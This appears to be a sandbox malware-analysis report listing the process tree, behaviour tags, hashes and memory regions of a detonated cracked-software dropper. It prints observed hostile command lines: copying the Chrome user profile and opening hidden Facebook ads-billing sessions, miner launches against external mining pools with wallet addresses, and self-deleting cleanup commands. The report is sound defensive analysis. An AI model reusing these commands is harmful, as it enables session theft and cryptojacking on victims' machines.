C:\Users\Admin\AppData\Local\Temp\y4jizr1ksaq\u1uzsaoteaa.exe"C:\Users\Admin\AppData\Local\Temp\y4jizr1ksaq\u1uzsaoteaa.exe" /quiet SILENT=1 AF=7568⤵
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\Weather\Weather 1.0.0\install\FD7DF1F\Weather Installation.msi" /quiet SILENT=1 AF=756 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\y4jizr1ksaq\u1uzsaoteaa.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\y4jizr1ksaq\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1617314392 /quiet SILENT=1 AF=756 " AF="756" AI_CONTROL_VISUAL_STYLE="16578540;16578540;14988840;12422912"9⤵
-
C:\Users\Admin\AppData\Local\Temp\0WQL8DA0AB\setups.exe"C:\Users\Admin\AppData\Local\Temp\0WQL8DA0AB\setups.exe" ll5⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-OTET9.tmp\setups.tmp"C:\Users\Admin\AppData\Local\Temp\is-OTET9.tmp\setups.tmp" /SL5="$302CE,454998,229376,C:\Users\Admin\AppData\Local\Temp\0WQL8DA0AB\setups.exe" ll6⤵
- Executes dropped EXE
- Checks computer location settings
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\askinstall20.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\askinstall20.exe"4⤵
- Executes dropped EXE
- Drops Chrome extension
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe6⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\xcopy.exexcopy "C:\Users\Admin\AppData\Local\Google\Chrome\User Data" "C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99\" /s /e /y5⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --window-position=-50000,-50000 --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" https://www.facebook.com/ https://www.facebook.com/pages/ https://secure.facebook.com/ads/manager/account_settings/account_billing/5⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99 /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99 --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=86.0.4240.111 --initial-client-data=0xd4,0xd8,0xdc,0xb0,0xe0,0x7ffa153d6e00,0x7ffa153d6e10,0x7ffa153d6e206⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1604,12913079044634635398,14493995211569869228,131072 --lang=en-US --service-sandbox-type=network --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --mojo-platform-channel-handle=1680 /prefetch:86⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1604,12913079044634635398,14493995211569869228,131072 --lang=en-US --service-sandbox-type=utility --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --mojo-platform-channel-handle=2216 /prefetch:86⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1604,12913079044634635398,14493995211569869228,131072 --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1632 /prefetch:26⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1604,12913079044634635398,14493995211569869228,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2796 /prefetch:16⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1604,12913079044634635398,14493995211569869228,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2788 /prefetch:16⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1604,12913079044634635398,14493995211569869228,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3456 /prefetch:16⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1604,12913079044634635398,14493995211569869228,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3284 /prefetch:16⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1604,12913079044634635398,14493995211569869228,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3168 /prefetch:16⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1604,12913079044634635398,14493995211569869228,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3740 /prefetch:16⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1604,12913079044634635398,14493995211569869228,131072 --lang=en-US --service-sandbox-type=utility --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --mojo-platform-channel-handle=4832 /prefetch:86⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1604,12913079044634635398,14493995211569869228,131072 --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --mojo-platform-channel-handle=5032 /prefetch:86⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1604,12913079044634635398,14493995211569869228,131072 --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --mojo-platform-channel-handle=4800 /prefetch:86⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1604,12913079044634635398,14493995211569869228,131072 --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --mojo-platform-channel-handle=4804 /prefetch:86⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1604,12913079044634635398,14493995211569869228,131072 --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --mojo-platform-channel-handle=4084 /prefetch:86⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1604,12913079044634635398,14493995211569869228,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.15063.0 --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --gpu-preferences=MAAAAAAAAADoAAAwAAAAAAAAAAAAAAAAAABgAAAIAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=2520 /prefetch:26⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1604,12913079044634635398,14493995211569869228,131072 --disable-gpu-compositing --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3828 /prefetch:16⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1604,12913079044634635398,14493995211569869228,131072 --disable-gpu-compositing --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2528 /prefetch:16⤵
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\Full_Version.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\Full_Version.exe"4⤵
- Maps connected drives based on registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Program Files\unins.vbs"5⤵
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" "C:\Program Files\unins0000.dll",install6⤵
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\file.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\file.exe"4⤵
-
C:\Users\Admin\AppData\Roaming\B900.tmp.exe"C:\Users\Admin\AppData\Roaming\B900.tmp.exe"5⤵
-
C:\Windows\system32\msiexec.exe-o pool.supportxmr.com:8080 -u 47wDrszce6VbnMB4zhhEA1Gr3EzwHx2eS6QzC5sFoq8iGdMjnzX8bnEjBdQHsAuW8C1SNgxyGa4DQTVnQ9jfhRod73np5P8.w15414 --cpu-max-threads-hint 50 -r 99996⤵
-
C:\Windows\system32\msiexec.exe-P stratum1+ssl://0xb7633a80145Ec9ce2b8b5F80AB36C783064C2E10.w7261@eu-eth.hiveon.net:24443 -R --response-timeout 30 --farm-retries 999996⤵
-
C:\Users\Admin\AppData\Roaming\BA88.tmp.exe"C:\Users\Admin\AppData\Roaming\BA88.tmp.exe"5⤵
-
C:\Windows\SysWOW64\cmd.exe/c timeout /t 3 & del /f /q C:\Users\Admin\AppData\Roaming\BA88.tmp.exe6⤵
-
C:\Windows\SysWOW64\timeout.exetimeout /t 37⤵
- Delays execution with timeout.exe
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX2\file.exe"5⤵
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.16⤵
- Runs ping.exe
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\md2_2efs.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\md2_2efs.exe"4⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 5172 -s 43842⤵
- Program crash
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\system32\werfault.exewerfault.exe /h /shared Global\cc31d41525e54da086bb987e7904f8ec /t 1576 /p 31721⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k SystemNetworkService1⤵
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding A9962901B7487CE64FA83CB5CFB8F404 C2⤵
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 455B1CCB299EE97A97DC0F987D9D81DA2⤵
-
C:\Users\Admin\AppData\Roaming\Weather\Weather\prerequisites\aipackagechainer.exe"C:\Users\Admin\AppData\Roaming\Weather\Weather\prerequisites\aipackagechainer.exe"2⤵
-
C:\Users\Admin\AppData\Roaming\Weather\Weather\prerequisites\RequiredApplication_1\Weather_Installation.exe"C:\Users\Admin\AppData\Roaming\Weather\Weather\prerequisites\RequiredApplication_1\Weather_Installation.exe" -silent=1 -AF=756 -BF=default -uncf=default3⤵
-
C:\Users\Admin\AppData\Local\Temp\is-2L6D2.tmp\lylal220.tmp"C:\Users\Admin\AppData\Local\Temp\is-2L6D2.tmp\lylal220.tmp" /SL5="$30448,491750,408064,C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\lylal220.exe"1⤵
-
C:\Users\Admin\AppData\Local\Temp\is-8B2V0.tmp\Microsoft.exe"C:\Users\Admin\AppData\Local\Temp\is-8B2V0.tmp\Microsoft.exe" /S /UID=lylal2202⤵
-
C:\Program Files\Internet Explorer\XWQNJSCUOO\irecord.exe"C:\Program Files\Internet Explorer\XWQNJSCUOO\irecord.exe" /VERYSILENT3⤵
-
C:\Users\Admin\AppData\Local\Temp\is-1OPBU.tmp\irecord.tmp"C:\Users\Admin\AppData\Local\Temp\is-1OPBU.tmp\irecord.tmp" /SL5="$A02DA,6265333,408064,C:\Program Files\Internet Explorer\XWQNJSCUOO\irecord.exe" /VERYSILENT4⤵
-
C:\Users\Admin\AppData\Local\Temp\3b-d806f-e20-62697-eaf4c1ef35c8d\Vixelyciqi.exe"C:\Users\Admin\AppData\Local\Temp\3b-d806f-e20-62697-eaf4c1ef35c8d\Vixelyciqi.exe"3⤵
-
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\dw20.exedw20.exe -x -s 24124⤵
-
C:\Users\Admin\AppData\Local\Temp\62-3057a-4e9-da0b2-4becf4443d66d\Netoduryhu.exe"C:\Users\Admin\AppData\Local\Temp\62-3057a-4e9-da0b2-4becf4443d66d\Netoduryhu.exe"3⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ej4vssgf.4kt\md6_6ydj.exe & exit4⤵
-
C:\Users\Admin\AppData\Local\Temp\ej4vssgf.4kt\md6_6ydj.exeC:\Users\Admin\AppData\Local\Temp\ej4vssgf.4kt\md6_6ydj.exe5⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\05mwnmhn.ruf\askinstall31.exe & exit4⤵
-
C:\Users\Admin\AppData\Local\Temp\05mwnmhn.ruf\askinstall31.exeC:\Users\Admin\AppData\Local\Temp\05mwnmhn.ruf\askinstall31.exe5⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe6⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe7⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\xcopy.exexcopy "C:\Users\Admin\AppData\Local\Google\Chrome\User Data" "C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99\" /s /e /y6⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --window-position=-50000,-50000 --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" https://www.facebook.com/ https://www.facebook.com/pages/ https://secure.facebook.com/ads/manager/account_settings/account_billing/6⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99 /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99 --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=86.0.4240.111 --initial-client-data=0xdc,0xe0,0xe4,0xb8,0xe8,0x7ffa153d6e00,0x7ffa153d6e10,0x7ffa153d6e207⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1588,13580509726890345916,13483206581394420684,131072 --lang=en-US --service-sandbox-type=network --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --mojo-platform-channel-handle=1600 /prefetch:87⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ejgm1llk.352\toolspab1.exe & exit4⤵
-
C:\Users\Admin\AppData\Local\Temp\ejgm1llk.352\toolspab1.exeC:\Users\Admin\AppData\Local\Temp\ejgm1llk.352\toolspab1.exe5⤵
-
C:\Users\Admin\AppData\Local\Temp\ejgm1llk.352\toolspab1.exeC:\Users\Admin\AppData\Local\Temp\ejgm1llk.352\toolspab1.exe6⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\twowbjg4.p1a\GcleanerWW.exe /mixone & exit4⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\axrwfs4d.rk0\setup_10.2_mix.exe & exit4⤵
-
C:\Users\Admin\AppData\Local\Temp\axrwfs4d.rk0\setup_10.2_mix.exeC:\Users\Admin\AppData\Local\Temp\axrwfs4d.rk0\setup_10.2_mix.exe5⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\p5on4v40.mhq\file.exe & exit4⤵
-
C:\Users\Admin\AppData\Local\Temp\p5on4v40.mhq\file.exeC:\Users\Admin\AppData\Local\Temp\p5on4v40.mhq\file.exe5⤵
-
C:\Users\Admin\AppData\Local\Temp\RarSFX3\Setup.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX3\Setup.exe"6⤵
-
C:\Users\Admin\AppData\Local\Temp\0QWWSTPWXA\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\0QWWSTPWXA\multitimer.exe" 0 3060197d33d91c80.94013368 0 1017⤵
-
C:\Users\Admin\AppData\Local\Temp\ZU8QYEEBNN\setups.exe"C:\Users\Admin\AppData\Local\Temp\ZU8QYEEBNN\setups.exe" ll7⤵
-
C:\Users\Admin\AppData\Local\Temp\is-PCSNM.tmp\setups.tmp"C:\Users\Admin\AppData\Local\Temp\is-PCSNM.tmp\setups.tmp" /SL5="$406B0,454998,229376,C:\Users\Admin\AppData\Local\Temp\ZU8QYEEBNN\setups.exe" ll8⤵
-
C:\Users\Admin\AppData\Local\Temp\RarSFX3\askinstall20.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX3\askinstall20.exe"6⤵
-
C:\Users\Admin\AppData\Local\Temp\RarSFX3\Full Program Features.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX3\Full Program Features.exe"6⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\vlvk0s5w.1do\app.exe /8-2222 & exit4⤵
-
C:\Users\Admin\AppData\Local\Temp\vlvk0s5w.1do\app.exeC:\Users\Admin\AppData\Local\Temp\vlvk0s5w.1do\app.exe /8-22225⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
- Modifies registry class
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k dcomlaunch -s DeviceInstall1⤵
-
C:\Windows\system32\DrvInst.exeDrvInst.exe "4" "0" "C:\Users\Admin\AppData\Local\Temp\{31ac1011-cd3c-7841-a661-842309c87461}\oemvista.inf" "9" "4d14a44ff" "0000000000000170" "WinSta0\Default" "0000000000000178" "208" "c:\program files (x86)\maskvpn\driver\win764"2⤵
-
C:\Windows\system32\DrvInst.exeDrvInst.exe "2" "211" "ROOT\NET\0000" "C:\Windows\INF\oem2.inf" "oemvista.inf:3beb73aff103cc24:tap0901.ndi:9.0.0.21:tap0901," "4d14a44ff" "0000000000000170"2⤵
-
C:\Windows\system32\werfault.exewerfault.exe /h /shared Global\e20b1f0d68cd4f6c8ef4b7cf414fe161 /t 0 /p 77961⤵
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s seclogon1⤵
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s DsmSvc1⤵
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s NetSetupSvc1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
-
C:\Program Files (x86)\MaskVPN\mask_svc.exe"C:\Program Files (x86)\MaskVPN\mask_svc.exe"1⤵
-
C:\Users\Admin\AppData\Local\Temp\902C.exeC:\Users\Admin\AppData\Local\Temp\902C.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\1302260226.exe"C:\Users\Admin\AppData\Local\Temp\1302260226.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\764823507.exe"C:\Users\Admin\AppData\Local\Temp\764823507.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\A82A.exeC:\Users\Admin\AppData\Local\Temp\A82A.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\AED2.exeC:\Users\Admin\AppData\Local\Temp\AED2.exe1⤵
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad\settings.datMD5
9e0f78df6271a671196d07e973bf22a3
SHA1d4fb17db29ccbe68da9c0c51d988b50446798325
SHA25616eced987adcc36551c7d8149c5937b494b4a0016dcb1ff50c2419bbc7de456a
SHA5125186bb13ccb9e649a1d02b1b63b707be185f9c4ea7fd38ec501f1537a6693b6bb96184089ebccb7b559ac083fba216a705091dd8de2e9cff546ab044699df2f2
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-pr.exeMD5
65b49b106ec0f6cf61e7dc04c0a7eb74
SHA1a1f4784377c53151167965e0ff225f5085ebd43b
SHA256862a8cf0e5561c848145a1a1f464acf77f92a3b15cc43722a7208701f60a2fcd
SHA512e9030cd609f42fb616e5bac3a5203ae46bbae9ec95682432a367f8805cdaa3e30c18a732ceddb0545ac653d543348a6728866149d2822752c80948066bfdf3da
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-pr.exeMD5
65b49b106ec0f6cf61e7dc04c0a7eb74
SHA1a1f4784377c53151167965e0ff225f5085ebd43b
SHA256862a8cf0e5561c848145a1a1f464acf77f92a3b15cc43722a7208701f60a2fcd
SHA512e9030cd609f42fb616e5bac3a5203ae46bbae9ec95682432a367f8805cdaa3e30c18a732ceddb0545ac653d543348a6728866149d2822752c80948066bfdf3da
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen.batMD5
a12e7acce9c54e8f477830c938cd5bb7
SHA1482ac6ae9ea9ab1673e1444269bba2ef7a86794c
SHA256b5433a43058d8b81958e13064f7d5485b787d6812513600c27b913dc5c3b3bd0
SHA5125198b9b7f7ab17a0173a5eed18f3b1906ab3fc64da62cfb765ff43539acdcf3a0eafeefe6184f51f1fbebaacdb0bdf422572b4b3ba70de0b116c779f5e1b7174
-
\??\pipe\crashpad_492_BKQZKWRYKCQNYGJAMD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e
-
memory/308-852-0x0000000004B30000-0x0000000004B31000-memory.dmpFilesize
4KB
-
memory/356-658-0x00000250CA740000-0x00000250CA7BB000-memory.dmpFilesize
492KB
-
memory/356-630-0x00000250CA170000-0x00000250CA1D7000-memory.dmpFilesize
412KB
-
memory/356-534-0x00000250C9F10000-0x00000250C9F77000-memory.dmpFilesize
412KB
-
memory/640-138-0x000001D1727A0000-0x000001D1727A00F8-memory.dmpFilesize
248B
-
memory/640-105-0x000001D1727A0000-0x000001D1727A00F8-memory.dmpFilesize
248B
-
memory/640-116-0x000001D1727A0000-0x000001D1727A00F8-memory.dmpFilesize
248B
-
memory/640-106-0x000001D1727A0000-0x000001D1727A00F8-memory.dmpFilesize
248B
-
memory/640-107-0x000001D1727A0000-0x000001D1727A00F8-memory.dmpFilesize
248B
-
memory/640-108-0x000001D1727A0000-0x000001D1727A00F8-memory.dmpFilesize
248B
-
memory/640-109-0x000001D1727A0000-0x000001D1727A00F8-memory.dmpFilesize
248B
-
memory/640-114-0x000001D1727A0000-0x000001D1727A00F8-memory.dmpFilesize
248B
-
